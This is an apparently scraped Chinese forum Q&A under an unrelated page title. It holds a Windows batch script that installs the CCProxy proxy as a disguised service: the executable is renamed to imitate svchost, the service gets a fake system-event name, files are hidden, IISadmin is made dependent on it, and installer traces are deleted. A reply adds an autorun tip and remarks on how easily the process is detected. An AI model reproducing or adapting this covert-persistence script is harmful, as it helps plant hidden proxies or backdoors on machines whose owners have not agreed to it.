安徽肥西农兴中学:关于一个CCproxy的批处理

来源:百度文库 编辑:查人人中国名人网 时间:2024/04/29 05:27:54
我想用批处理文件装一个CCoroxy代理服务器,要把CC的服务名描述全改~不知道我的批处理写错了还是什么!服务建立名起来了,描述也正常~但是CCoroxy的服务却不能启动~手工按启动出现“服务启动失败:服务没有及时响应启动或控制请求”我请各位大大帮忙找出原因,批处理内容如下:
@echo off
@sc stop ccproxy //停止ccproxy服务
@sc delete ccproxy //删除ccproxy标志
@sc create Prservice binpath= "%systemroot%\system32\spoolvs\svhost.exe /service" type= own type= interact start= auto //在%systemroot%\system32\spoolvs\目录下新建“Prservice”服务,可执行文件为“svhost.exe”为桌面互动。
@sc config Prservice displayname= "System Event //服务显示名称Notificationlogon"
@sc description Prservice System Event Notificationlogon //服务描述
@sc config IISadmin depend= Prservice //依赖于IISadmin服务
@attrib +h +r %systemroot%\system32\spoolvs\svhost.exe
@attrib +h +r %systemroot%\system32\spoolvs\AccInfo.ini
@attrib +h +r %systemroot%\system32\spoolvs\CCProxy.ini
@attrib +h +r %systemroot%\system32\spoolvs\uuid.dll
@attrib +h +r %systemroot%\system32\spoolvs\CDial.dll
@sc start Prservice //启动Prservice服务
@del sc.exe
@del %systemroot%\system32\spoolvs.exe
@del %systemroot%\system32\spoolvs\spool.bat
@exit

ccproxy启动的时候会在主界面闪一下,即便修改源程序去掉右下任务栏图标,和修改了程序本名,进程列表仍然会看到一个占用资源与系统资源严重不符的进程,用它很容易被发现!

如果想实现自启动,只需要修改下ccproxy放置目录下的ccproxy.ini文件,
将[system]下的AutoRun=0改为AutoRun=1,就可以达到目的了